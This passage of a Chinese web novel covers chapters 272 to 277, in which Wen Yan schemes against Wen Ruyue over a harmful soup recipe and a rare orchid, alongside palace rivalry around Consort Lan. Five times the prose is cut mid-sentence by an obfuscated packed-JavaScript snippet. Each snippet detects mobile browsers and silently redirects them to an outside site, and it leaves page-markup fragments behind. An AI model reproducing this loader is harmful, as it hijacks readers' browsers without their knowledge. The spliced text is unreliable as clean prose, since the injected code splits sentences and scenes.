闻如月抬手抹去两管鼻血,大声道:“验就验,我的药方绝对没问题。” 闻如月太过笃定。 反而让大家觉得,错的会不会是霍耀行! 第272章: 是她害死应知林 太医很快就来了。 闻如月也拿出了药方。 太医看完药方,重重地‘嘶’了一声。 津平侯立刻问道:“可是这药膳方子有问题?” “这确实是一个很好的补气方子,只是……”太医指着其中一味药,“这一味药本该是二钱,可这里写成了二两。 补身的良药就变成了害人的**! 少食腹泻不止,多食则会伤及根本,想要恢复如初,不仅要不计其数的名贵药材,还是一个旷日持久的过程。” 众人的目光,全都看向闻如月。 侯夫人更是失控地扑向她,对着她撕打拉扯:“好啊,果真是你! 你不过是个乡下长大的野丫头,你便是削尖了脑袋,也嫁不进我们这样的侯门府第。 是我儿喜欢你,非你不娶,我才勉强接受这门婚事。 可是你呢? 你是怎么报答我儿的? 你竟然在乡试这么重要的时刻害他,我打死你,我要杀了你!” 闻如月呆怔原地。 她喃喃摇头:“不可能!绝不可能! 前世她也给应知林做了同样的汤,他怎么没……” 她倏地住口。 前世她也做了同样的汤给应知林。 应知林因为天阉,一直不与她亲近。 不过在生活中还是很尊重她的。 她盛了满满一碗汤,他不想她难堪,就整碗全部喝光。 结果便是,他才拿到第一场考试的题目,就突然昏倒,被军卒抬了出来。 又因为没能及时送医,延误病情,使得他的身体彻底垮掉。 从此之后他日日泡在药罐里,但身体仍然日渐虚弱。 因此他才会在几年后…… 也就是说,前世会当上寡妇,都是自己一手造成的? 她的心底萌生一股悔意。 但她很快就把这点内疚按下去了。 应知林本就是个天阉,他就算不死,自己也要守一辈子活寡。 倒不如**干脆。 对!就是如此! 侯夫人贾氏指着闻如月,发疯一般大吼:“休了她!耀行,现在就休了她!” 这个该死的女人! 她知道自己的举动,造成多大的后果吗? 敬明媚越渐嚣张,最近更是快骑到她这个正妻头上作威作福。 她和耀行都指着连中三元,得了皇帝的青睐,彻底把敬明媚踢出局。 闻如月一点忙帮不上不说,还拖他们后腿! 她怎么不去**算了! 正厅里吵得不开交。 敬明媚飘然离去,深藏功与名。 半个时辰后。 天衣布庄,雅间。 闻颜慢悠悠地泡着茶,听敬明媚绘声绘色地说着霍家发生的一切。 “霍耀行因为闻如月的一碗汤,差点在贡院里腹泻到虚脱。你不知道,霍家人的脸色有多臭。 特别是贾氏,她一下副天塌了的样子,喊着嚷着要霍耀行休妻,别提有多搞笑了。” 嫁到霍家这么多年,今天是她最开心的时候。 敬明媚拍手称快。 闻颜倒了一杯茶水推到她面前,笑着道:“别激动,润润嗓子。” 敬明媚一口将茶水饮尽,奇怪道,“听见他们狗咬狗,你就开心吗?” “开心啊!”闻颜神情淡然,根本看不出真实情绪。 “不过,这只是一碟开味小菜,后面我还能让你看到更刺激的。” 敬明媚皱了皱鼻子,说道:“也不知闻如月是不是发了臆症,嘀嘀咕咕什么前世、应知林。” 闻颜眼目光闪了闪。 难道,前世的应知林也喝了同样的汤? 上次去同和堂给他号脉,林大夫说他身体健壮如牛。 当时她就怀疑,这么强健的身体,怎么会在三四年后突然死去。 现在终于找到答案了。 定是被闻如月的汤伤了根本! 啧啧啧! 前世的应知林,原来是让她害了! 闻颜打哈哈地遮掩过去:“许是刺激太大,让她脑子糊涂了?对了,你大哥那边怎么样了?” “你不提我差点忘了,这是我哥哥给你和孟小姐准备的谢礼,多亏你们的引荐,我哥哥才能为皇上办事。 现在的津平侯,已经不敢太欺压我和两个孩子。” 正因如此,津平侯才突然对霍耀行的科举仕途重视起来。 敬明媚见闻颜不愿多说,她便不再追问,只是拿出两个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344314|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 巨大的油纸包裹。 “这些蜀锦是今年最时新的颜色。”她拍了拍包裹,忽地又催促起江柔儿的事,“到底什么时候让江柔儿得偿所愿啊!” 那江柔儿心眼多得很,天天想方设法钻霍耀行的被窝。 敬明媚为了阻止她,斗智斗勇,怪心累的。 闻颜还是让她再等等:“这步棋我们都布局这么久了,当然要在最紧要的时候,发挥最大的价值。” 两次都栽在女人手里,津平侯还能对霍耀行予以厚望吗? 敬明媚:“你最好能快点,不然我早晚被她烦死。” 闻颜抿唇浅笑:“知道了,保准不会让你失望。” ** 乡试结束就是中秋。 考试期间,闻颜就准备好了节礼。 应知林兄妹三人,会在京城待到放榜。 人不回村,礼要送到。 闻颜准备了一大车节礼,考试一结束,就安排佩儿送回村里,让她回去跟母亲一起过节。 除此之外,闻颜特地烤了一些火腿月饼。 是她前世跟着霍耀行外放时,跟当地百姓学来的。 宅子里的学子都是异地过节,闻颜给他们送了些月饼,又送了些米面肉菜,让他们自己折腾宴席。 孟家也少不了,闻颜装了满满一大筐送过去。 闻颜又留了一份,给恭太妃送去。 那件吉服,闻颜重生之前就修补好了。 为了对付闻家,她等到回门之日才送去‘天衣布庄’。 是她利用了恭太妃的慈善,她送月饼过去,算是悄悄赔罪。 应知林拿着马鞭坐到车沿上:“我闲来无事,为你赶马车。” 佩儿回村了,闻颜身边确实没个可用的人,便同意了。 中途绕道去了一趟闻府,把闻岫云叫上。 江心葵得知要去公主府,本想厚着脸皮一同去。 不过被闻颜黑着脸赶下了马车。 很快就到了公主府。 恭太妃一听是闻颜,当即就叫人把姐妹二人请了进去。 恭太妃喜欢闻颜,对闻颜的月饼更是赞不绝口。 连带着对闻岫云也关照几分,赏了一根珍珠发簪当见面礼。 闻颜见状,心里就更愧疚了。 第273章:骂了一个多时辰 在公主府稍坐一会儿,两人就告辞了。 闻颜把闻岫云送回闻家。 路上,闻岫云哼了一声:“你心可真宽,竟然真的把我叫上。就不怕我在太妃面前抢了你的风头?” 闻颜呵呵笑一声:“能抢了去也是你有本事;抢不去就是你自取其辱。” “你倒是很自信。”闻岫云对闻颜眼睛不是眼睛,鼻子不是鼻子。 “不是我自信,而是你太笨。从小到大,你每次想抢我风头,一点心眼手段都没有,只会傻不拉几的苦练技术。 啧啧啧,你说,蠢成你这样我真的有防备的必要吗?” “啊……闻颜,我跟你没完!”闻岫云扑过去,揪住闻颜脸颊往两边拉扯,“嫁人也治不了你毒舌的毛病,今天我就让你知道知道我的厉害!” “闻岫云,我可是你二姐,你大逆不道,以下犯上,我拽散你的发髻。” 应知林听见内里的动静,忍不住勾起了嘴角。 闻颜还有这样活泼毒舌的时候。 果然,只有多多跟着她,才能了解更多的她。 闻岫云下马车的时候,对闻颜冷哼道:“别以为我会感激你,这次就当是那天晚上,你算计我给你做证人的谢礼了。” 闻颜脚痒,真想把她踹下去。 马车驶离闻府,应知林不解地问:“整个闻家,你为何独独帮闻岫云?” 闻颜想到闻岫云就忍不住笑:“当然是因为她够傻。 小时候跟我比绣工,比才情,整天把自己关在家中苦读诗书,苦练手艺。” 闻岫云回到闻家,还没来得及清洗换衣,就被丫鬟叫去了前院。 闻父紧张问她:“怎么样?你可见到恭太妃了?” 闻岫云摸了摸头上的珍珠发簪:“这是太妃娘娘赏给我的。” “也就是说,闻岫云已经入了恭太妃的法眼了。” 闻父很是高兴,叮嘱闻岫云以后好好表现,争取早上取代闻颜在恭太妃心中的位置。 “女儿谨记父亲教诲。”闻岫云与闻父好一副父慈女孝的场景。 江心葵在一旁气得咬牙切齿。 ** 佩儿回到松山村。 应族长得知应知林已经顺利考完试,重重松了一口气,这才给村子解禁。 专门守住老应家的人,也撤了回来。 应族长庆幸自己速度够快,他派人封村之时,老应家的人正想跑去京城捣乱。 这一大车节礼,除了匠人的固定分量,剩下的他平均分给每一户村民。 拿人手短。 那些对封村颇有微词的人都闭了嘴。 全村唯一不高兴的,只有老应家的人。 乔婆子插着腰,在家门口骂了一个多时辰,嗓子哑了才罢休。 老应家的大儿媳妇乔大双,一边给乔婆子捏肩,一边气乎乎地道:“娘,那应知林也太不是个东西了,难道就这样放过他不成?” 乔婆子气闷道:“考都考完了?还能怎么办?难不成我们还要上京告御状不成?” 应老三的媳妇,胡有珠的眼珠子滴溜溜一转,便唉声叹气道:“明日就是中秋节了,也不知小妹在外面怎么样了? 她有没有遇到危险,吃得饱不饱,穿得暖不暖,明日过节能不能吃上一顿好的!” 乔婆子想到在外生死不知的小女儿,刚刚才发泄完的火气,又噌噌地往外冒。 “不行,不能轻易放过那个天杀的祸患。 不是还没放榜吗?等放榜之日,我们去京城揭发他!” 时间一晃而过。 转眼就到了中秋之日。 京城格外的热闹。 闻颜带着应知林兄妹三人,去霜姨他们的住所一起过节。 人多热闹! 霜姨他们的住所,是城南平民区的一座二进院子。 闻颜和孟迟飞做生意,拿到第一笔分红,她就买下了此处。 当做她安身立命的根本。 院子很宽敞,房间很多。 霜姨带着青禾、立夏两位姐姐住在后院, 四位叔叔住在前院。 应知林没想到,闻颜还有这样的根据地。 晚霞满天之时,佳肴上桌,宴席开始。 大家一起举杯庆祝:“可惜林叔和田叔还在晋阳府,不然我们就算真正团聚了。” “没事的,等到春节,肯定会一个都不少。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344315|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“那我们就一起为春节的团聚而努力。”大家一起碰杯。 整个晚宴的过程都愉快轻松。 晚饭后,他们一起出门看花灯会。 闻颜和虎叔走在最后。 闻颜道:“虎叔,你记得崔管事吗?” “天衣布庄的掌柜?当然认识啊,我们隔几天就会交货见一面的。” “不是他。”闻颜摇摇头,“是我们当初去救慧娘时,买走佩儿的那个中年男子。” “被我用网兜住,挂在树上淋了大半夜雨的那个?”虎叔一下就想起来了。 “就是他!”闻颜接着道,“我以前就跟你说过,那个崔管事有问题,现在我想让你潜伏到他身边去。” “这点小事,你就包在我身上吧。”虎叔拍着胸膛保证。 闻颜道:“那个崔管事狡猾得很,你多加小心。 还有,当初你说要把佩儿带回去,给傻子弟弟当媳妇,碰面之后他肯定问起,你就说家里太穷,把佩儿卖了换钱。家里活不下去了,你才厚着脸皮去找他。 你记住,要尽快取得他的信任,接触到他手下那些见不得光的买卖。” 而此时的霍家。 看在中秋节的份上,侯爷特许闻如月提前从祠堂里出来,全家一起吃团圆饭。 闻如月坐在镜前梳妆,她打量着镜中的自己。 脸上的墨迹又淡了许多,兰贵妃寿辰之前,应该能全部清除。 她问丫鬟:“兰花和香料有消息了吗?” 丫鬟顿时紧张起来:“还……还没有……” 她的脸色瞬间变得阴沉。 最近诸事不顺。 霍耀行对她生了埋怨。 公公嫌她碍了世子前程。 想要让霍耀行离不开自己,就要让自己变得更有价值。 所以。 她更要紧紧抓住兰贵妃这棵大树。 以后,她便是霍耀行的依靠。 “多找点人,就算把京城翻过来,也要把东西给我找到。” 八月二十一就是兰贵妃生辰。 随着时间的推移,闻如月越来越着急。 京城里关于兰贵妃生辰的议论也越来越多。 第274章:回娘家 只因,兰贵妃和兰家老太君在同一天生辰。 因为受宠,皇帝恩准兰贵妃可以回兰家半日,与老太君共同庆生。 但今时不同往日。 晋阳府的灾情爆出,兰纮入了大狱,现在还没个审理结果。 兰贵妃贬成兰妃,她今年还能得到恩赏,回娘家吗? 市井里议论着,宫里也没消停。 兰贵妃在御花园里散步。 皇帝昨儿晚上才跟她说,哥哥还在狱中,晋阳府的案子也没个结果,让她最近低调些。 免得惹来朝中大臣不快,以此来攻讦她的哥哥,让她哥哥再无翻身之日。 也就是说,她的生辰,不能像往年那般回娘家了。 这么多年下来,她都习惯在这一天回娘家了。 如今不能回去,让她郁郁寡欢。 行至一座假山后面,忽然听见有人说话:“你们说,兰妃今年生辰还能回娘家吗?” “她倒是想,可她敢吗? 她大哥本就摇摇欲坠,她还敢树敌?难不成是想送亲哥哥上断头台?” 一声娇笑:“她们一家都是自作自受,自寻死路。 以前仗着皇上的宠爱,在宫中为所欲为,不将我们放在眼里,现在也该到她自食恶果的时候了。” “相比起她现在收手,我更愿意看她继续张狂。 只有飞得越高,才会摔得越狠!” 其中一名妃嫔,朝假山方向看了一眼:“我倒觉得,真受宠不会被降位份。 只怕皇上也只当她是个逞手的玩意儿。 平时宠着也无妨,一旦惹得皇上心烦,扔了便是。 我敢打赌,此次皇上肯定不会准她回去。” 前面说的那些,兰玉都能忍。 后面说她不受宠,简直戳到她的逆鳞。 原本她已经打算咽下口气,今年就不出宫了。 偏偏这群不知死活的贱东西,舞到她面前。 她定要她们都知道,就算自己失了贵妃之位,仍是皇上最宠爱的女人。 这个宫,她还非出不可了! 她眼珠子滴溜溜一转,对宫女一番吩咐。 宫女小跑离开。 兰玉摇着缂丝团扇走了出去:“哟,在背后说我坏话呢?你们这么爱嚼舌根,就不怕口舌生疮!烂掉你们的舌头!” 兰玉突然出现,几人都吓了一跳。 他们紧张地站起来,下意识的害怕,后退。 “怕什么,她现在跟我们一样,都是妃位。” 害怕的几人,立即镇定下来,并反唇相讥。 兰玉冷笑:“即便我现在是妃位,想要收拾你们也不过是抬抬手指的事。 我要碾死你们,就像碾死几只蚂蚁一样简单。” “你们耻笑我,自己又是什么好东西?” 兰玉伸手一抓,揪住最近之人的发髻。 那人痛叫一声,身体后仰,愤怒地瞪着兰玉。 兰玉低着头,轻蔑嫉妒地看着她,仿佛她手里抓的不是皇帝的妃子,而是一只丑陋的杂毛鸡! “你还敢瞪我! 真当你家那点破事无人知道吗? 你娘出嫁之前,跟自己的表哥私定终身。 啧啧啧,你到底是你爹的种,还是你舅舅的种呢? 还有你们!” 兰玉指向另外一个人:“还有你……” 妃子被点中,慌了一下。 兰玉放了手中之人,一把薅住她的发髻,将她拽向自己,用只有两人才能听到的声音,说出一个名字:“倾碧。” 妃子一颤,眼中闪过惊恐。 兰玉恶劣一笑,缓声道:“你喜欢那个女人,对吗?” “你已经是皇上的妃子,却跟别的女人有了首尾,你猜,若是皇上知道了,会怎么对你?又会如何迁怒你的母族?” “你……你怎么会知道?”妃子不住的战栗,惊恐哀求地看着兰玉,“求你,不要说。” 兰玉松开她:“我就是想看着你死!” 妃子的眼神猛地一狠,突然冲上前来,狠狠推了一把。 兰玉料到她的袭击,余光往后瞄了一眼。 她嘴角上翘,躲也不躲。 顺着对方的推力,顺势倒在地上。 “啊……”她痛呼一声,捂住了脸,委委屈屈地控诉,“你为什么推我 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344316|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 那名妃子眼中满是杀意,冲过来就掐着她的脖子,想至她于死地。 然而,她刚刚掐上对方的脖子,就听见一声喝斥:“住手!” 众人抬头看去,就见皇帝一行人站在不远处。 在皇帝身边,还站着兰玉的贴身宫女。 皇帝几步走过来,一把推开妃子,扶起兰玉:“玉儿,你怎么样?有没有受伤?” “我的脸好疼。皇上,我是不是毁容了,以后就不漂亮了?”兰玉松开捂着脸的手,眼泪珠珍珠般落下,看着无比的可怜。 皇帝脸色一沉,看向妃子。 妃子吓得面无血色。 身体一软,跌坐在地上:“皇……皇上,您听我解释,事情不是你看见的样子,是她说我坏话,威胁我,我怒气上头,才会做出错事……” “威胁你?她拿什么话威胁你了?” “她说我……”妃子张开口,却说不下去了。 她的那个秘密,一旦说出来,倾碧就活不成了。 她嗫嚅着嘴唇,半天说不出一个字。 “你怎么不说了?”皇帝的声音明明很平缓。 妃子却吓得浑身颤抖。 妃子慌张不已,伏倒在地,“是……是臣妾的错。是臣妾小心眼,嫉妒皇上偏宠她一个,就携私心报复她……” 皇帝冷哼一声:“既然你的嫉妒心如此之重,那就待在你自己的宫中,好好反省两个月吧。” 原本其他妃子还愤愤不平。 听见此话,顿时低眉顺眼,气都不敢喘。 兰玉依偎在皇帝怀里,嘤嘤直骂:“皇上,玉儿受了无妄之灾,玉儿委屈……” 皇帝拍着她的背安抚:“都怪朕不好,那你说,要怎样才不委屈?只要是朕能办到的,绝对满足你。” 兰玉撅着嘴巴想了想,这才提出要求:“玉儿想回家给老太君过生辰,要是皇上觉得为难,应当玉儿没说好了……” “只要你高兴,什么要求朕都答应你。不就是回去给老太君过生辰吗,尽孝是人之常情,朕答应你就是了。” 皇帝不仅让她回去半日,还答应准备厚礼,让她风风光光的回去。 第275章:香料、兰花 兰妃生辰前一日。 皇帝身边的大总管,就送来一只锦盒。 兰妃就知道,这盒子里面就是皇帝准备的‘厚礼’。 她想象中,会是价值连城珍珠玉石**。 打开之后,才发现里面只有一幅画轴。 兰玉眼中闪过失望。 但她很快又振作起来,没关系的。 名家巨擘的字画,不仅值钱,还能传世。 她打开画轴,属于皇帝的熟悉字迹出现在眼前。 她看着画布上‘松鹤延年’几个大字,她当场石化。 大总管在一旁,将她的所有表情尽收眼底。 大总管当场解释道:“娘娘,这可是皇上的真迹,一般的大臣文人,想要都得不到。” 兰玉心里失望,还不忘强挤出一抹干笑:“是……是哦!皇上真是有心了,我家老太君也一定会爱不释手的。” 爱不释手个鬼啊! 皇帝的字画珍贵是珍贵,既不能卖,又不能送人,跟个有价无市的摆设有什么区别! 偏偏她还不能挑剔,不能换货。 她只能强颜欢笑地收下东西。 还要叩谢隆恩。 大总管忍着笑,离开了兰贵妃所在的宫殿。 ** 与此同时。 在‘一点墨’的闻颜,合上黄历。 明天就是兰贵妃的生辰。 那盆‘素冠荷鼎’,也该发挥它的价值了。 闻颜叫来佩儿:“闻如月那边找花找得如何了?” 佩儿过完节就回到闻颜身边,她回道:“京城都让她翻了两遍了,我看今天要是再找不到,闻如月就能得上失心疯。” 闻颜对佩儿道:“你去把青禾和立夏叫过来,我有事吩咐她们去做。” “我这就去。”佩儿转身欲走。 “等等。”闻颜又叫住了她,“还是我亲自去一趟吧。” 闻颜戴上帷帽,就和佩儿出门了。 二人并未直接去宅子,而是绕到闻如月的人,最常出没的香料街市转了一圈。 半个时辰后。 香料街上,一对长得明艳漂亮的姐妹花,一人挎着一只篮子,一人抱着一盆花,说说笑笑地从街上路过。 那盆花外面罩着半透的薄纱罩子,让人看不真切植物模样,却能从轮廓和虚影看出,此花并非凡品。 两人出现没一会儿,就被一男一女拦住去路。 女子指着花盆道:“你卖的什么花?我能看看吗?” “这是一盆兰花,名叫‘素冠荷鼎’。”妹妹开朗地回答道。 ‘素冠荷鼎’四个字,让女子身形一震,她倏地瞪圆了眼睛看着那盆花,“你刚才说什么?这盆花叫什么名字?” “‘素冠荷鼎’啊,有什么问题吗?”妹妹奇怪地看了她一眼。 “让我看看它,若是我看上了,就把它买下来。”她伸手去抓遮花的纱罩,想一睹此花真容,是不是小姐在找的那一种。 妹妹十分机敏,下意识后撤两步,让她抓了个空。 “你这人怎么动手动脚的?”妹妹戒备地看着她,说话也极不留情面,“我这花精贵得很,若是磕着碰着一丝一毫,花就毁了,到时把你卖了都赔不起。” 女子想到,若此花真是世子夫人在找的,若是碰伤影响到品相,确实把自己卖了都赔不起。 她便不敢强求,只是道:“……没什么。这花多少钱,我要了?” 妹妹上下打量她一番:“看你衣着,并非大富大贵人家的,并非大富大贵人家的,这花你恐怕买不起。” 女子气道:“不就是一盆花吗?有什么了不起的。你开个价吧。” 她说着就伸手去夺花盆。 姐姐眼疾手快,一下挡在两人中间。 把女子和花盆隔开,大声道:“这位姑娘,我们说了,此花不卖,难不成,你是想当抢夺吗?不如你看一看我们的香包吧。” 说着,她就把手中的篮子往前递了递。 篮子里摆放着许多香包。 香包款式还算精致,绣工也不错。 女子随意挑了挑,直到她拿起一只香包闻了闻,突然眼睛一亮。 这个味道,跟世子夫人在找香熏味道极其相似。 难道,她们就是世子夫人在找的姐妹? 姐姐观察她的神情,适时推销:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344317|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喜欢这种香型?这一款叫锡兰附香,这个是真正的锡兰香,你闻闻看。” 姐姐又递了一只香包给她。 女子接过闻了闻,随即眼前一亮,就是这个味道。 世子夫人用过一次那种香熏,因为味道太过特别,她一次就记住了。 “你们等一等。”女子强压下兴奋的心情,将同伴拉到一旁,交头接耳不知说了什么。 没一会儿,她就转回过来,就每款香包都挑了一只。 对姐姐道:“你们的香包我很喜欢,我想拿回府给主子瞧一瞧,我主子若是看上了,定会叫我多采购一些,到时候少不了你们赚钱。” 女子说完,拿着几款香包就离开了。 她的同伴留下来,邀请道:“不如我请二位去楼上喝一杯茶?” 姐妹俩并未立即答应。 反而露出害怕防务的神情。 直接拒绝了不说,甚至想要逃走。 同伴知道两人的重要性,哪肯放她走! 指天发誓地保证他不是坏人都没用,最后还是请来街上,负责公平交易的主事官,她们才肯跟他茶楼歇脚。 同伴本来订了雅间,不过姐妹二人没有安全感,死活不同意上去, 同伴才肯作罢。 随时时间推移,姐妹俩越发的心慌害怕,已经数次找借口想要离开,都被同伴劝了下来:“你们不想信我,难道还不相信主事官吗?” 姐妹二人互视一眼,这才答应再等等。 半个时辰后,一辆豪华的马车,缓缓停在茶楼门口。 方才离开的女子率先跳下马车,随后又恭敬地将一名女子扶了下来。 那女子戴着帷帽,身姿窈窕,举止优雅,一看便知她是富贵人家娇养着长大的。 闻如月在婢女的搀扶下,匆匆来到座位旁。 她左右看了看:“茶楼里没有雅间了吗?” 同伴苦着脸道:“回世……回夫人,是这两位卖花女,生怕我们会如何,只肯在大厅里。” 闻如月隔着帷帽,打量着放在桌的花盆。 透过半透薄纱,隐约可见白色的兰花花开。 好像就是这一株! 第276章:六千两 “在此如何谈事?去和老板要一个雅间。”一楼这么多人,她还如何验花? 姐妹二人却立即唱反调,不同意去雅间。 理由也很简单。 姐妹二人只是普通的平民百姓,而闻如月一看就出身权贵。 若是进了包厢,她们姐妹就会叫天天不应,叫地地不灵。 所以,他们是绝对不会去包厢的。 闻如月气结:“不去包厢,我怎么验花!” 便叫来掌柜,想将整座茶楼包下,将其余客人都赶出去。 谁知,她这一决定,再次遭到姐妹二人的反对。 “不就是验花吗?给你看就是了。”妹妹伸手去抓纱罩。 总之,或是不能在众目睽睽之下交易,他们宁愿这花不卖了。 甚至流露出,把花毁了也不卖的意思。 闻如月心尖一颤。 她可不想‘素冠荷鼎’的消息被流传出去。 即使明天就是兰贵妃的生辰,也不行! 她定要保证这株花有足够的神秘性,才不会像前世那家五品小官,弄得招摇过市。 最后,闻如月不得不在座位旁边拉起帐幔。 这才缓缓揭开了花盆上面的纱罩。 一株挺拔盛放的兰花,出现在眼前。 花叶片修长,青翠油糯。 旁边独生出一根花枝。 兰花开得正好,数只花朵素洁,仿佛小荷才露尖尖角。 花瓣亦像是用上好的羊脂白玉雕琢而成。 若是迎着光,花瓣上能看到几丝浅绿的筋络。 整株花,仿佛花中仙子,出尘迷人。 闻如月前世并未看见过真正的‘素冠荷鼎’。 前世的兰贵妃,收到花之后,就小心翼翼地亲自抱回宫中。 就缠着皇上请来最好的大庸花匠,悉心照料。 可惜,‘素冠荷鼎’十分娇弱,只开了两三次花,便枯萎了。 虽然只短短三四年寿命,但年到它开花之时,都会在京城的权贵圈子引起热议。 因为兰贵妃会以它的名义,在宫里办赏花宴。 那些千金贵女也以此赏花宴为荣。 为了一睹此花容貌,几乎是削尖了脑袋想办法,给兰贵妃送礼。 前世的闻如月,嫁给应知林那个穷小子,根本没机会入宫亲眼见一见‘素冠荷鼎’的倾世之姿。 不过,在她跟霍耀行暗渡陈仓之后,她在霍耀行的书房里,看过‘素冠荷鼎’的画像,真正如仙子下凡一般。 只是这一眼,闻如月便知道,眼前这株花,就是前世兰贵妃收到的那一株。 此时见到活物。 她才知,那些画作上的‘素冠荷鼎’,不及真品万分之一的风姿。 没想到啊! 她找了那么久,逛遍了京城所有花市,竟在此时此地遇见此花。 闻如月觉得,老天爷都在帮自己。 明天就是兰贵妃的生辰了。 不管是花还是香料,她都不抱希望了。 没想到,竟有峰回路转之时。 这不是老天帮她算什么? 闻如月激动得眼眶都红了。 不过,据说卖花的一家三口,是一对夫妻,带着一个儿子。 怎的变成两姐妹了? 不过这些并不重要。 她只在乎香料和那盆兰花。 姐妹俩害怕地抱在一起,一副随时都想逃的样子。 随后,他们便开始谈价。 闻如月直接道:“报个价吧,这花我们要了。 对了,还有锡兰香。你们手里有多少成品香料我全都要了。 还有锡兰香的香方,我也要一同买下。” 姐妹俩一副吓坏了样子:“抱歉啊,这花我们不能卖。” 闻如月瞬间变脸。 妹妹还是硬着头皮道:“不是我们为难你,实在是此花并不是我们的。 我们只是有些识养花的技术,帮人买回去而已。就连买花的钱,也是别人出的。我们不可能把花转卖给你。” 妹妹特地将‘转卖’二字咬得很重。 闻如月瞬间抓到重点。 她道:“你们这花不是还没有交到那人手中吗?这样吧,你们现在将花交给我,到时候回去就跟那位主顾说,你们去晚一步,花已经让我买走了。” “那怎么行?我们生意人最讲究诚信,我们不可以做这等违背道义之事。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15344318|167867||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姐妹俩死活不肯卖。 “说吧,你们买这盆花花了多少钱,我可以在原来的基础上再加五百。” “你们卖香包,一辈子都赚不到这么多钱,而你们只需要将此花转卖给我,就能下半辈子衣食无忧。你们真的要放弃这样的机会吗?” 姐妹俩似乎被她说动了。 两人交头接耳一阵,这才给出报价:“六千两。” “你说多少?!”闻如月自认涵养过人,此时也惊呼出声。 “六千两。”姐姐坦然地道。 “你们**吗?这花怎么可能要七千两。前世也……”前世也没卖出这么高的价。 那个五品小官只花了三千两,就将这盆花买了下来。 不过他们在契约上动了手脚,最后只给了花农三百两。 花匠等着卖花钱救妻子性命。 他没拿到钱,妻子很快病逝。 花匠一气之下告到京里,当时在京城闹得很大,要不是兰贵妃眼疾手快将此事按下,恐怕会牵连到她。 自此兰贵妃就渐渐疏远他们,让他升了几回官,就不再理他了。 她自不会为了区区二三千两银子,就留下一个这样大个隐患。 她早就在心里盘算好了,绝不会走五品小官的老路,顶了天三千五百两拿下此花。 毕竟若是闹出丑闻,不仅影响自己在兰贵妃心目中的形象,霍家也不会轻饶她。 区区三四千两银子,她还是拿得出的。 而这对姐妹,竟然狮子大开口,竟想翻倍卖给她。 真当她是冤大头吗! 敲诈敲到她头上来了,简直不知死活。 闻如月气得想骂人,但她努力告诫自己‘素冠荷鼎’不可有一丝瑕疵污名。 她只得生生将火气压下。 不行。 她根本压不下去! 她声色俱厉地瞪着姐妹俩:“我不可能给这么多,你们最好不要狮子大开口。” 此时。 茶楼二层的雅座之上。 闻颜和佩儿悠然地喝茶吃点心。 佩儿伸长脖子往楼下看:“那盆兰花虽然真的很漂亮,但是小姐,闻如月真的会花这么多钱买它吗?” 第277章:掏空闻如月 闻如月当然会买。 她若不买,拿什么去讨好兰贵妃。 晋阳府之行,闻如月投入大笔银子,不仅没赚到钱,还损失惨重。 ‘妙笔斋’也入不敷出。 闻如月没有新的经济来源,对兜里的银钱会看得格外重要。 而这六千两,是闻颜精心计算过的,刚刚卡在她能承受,又会心痛难当的程度上。 果然,就听楼下继续说道:“我的花就是这个价,你若是不愿,我自去找别的买主,多的是人等着买它,说不定还会把价钱往上提一提。” 姐姐说着,抱起花盆就要离开。 “你站住!”闻如月一掌拍在桌子上。 她的婢女小厮立即上前,将姐妹俩围住。 妹妹立刻护住姐姐和‘素冠荷鼎’。 “怎么?众目睽睽之下,你还想公然**吗?” 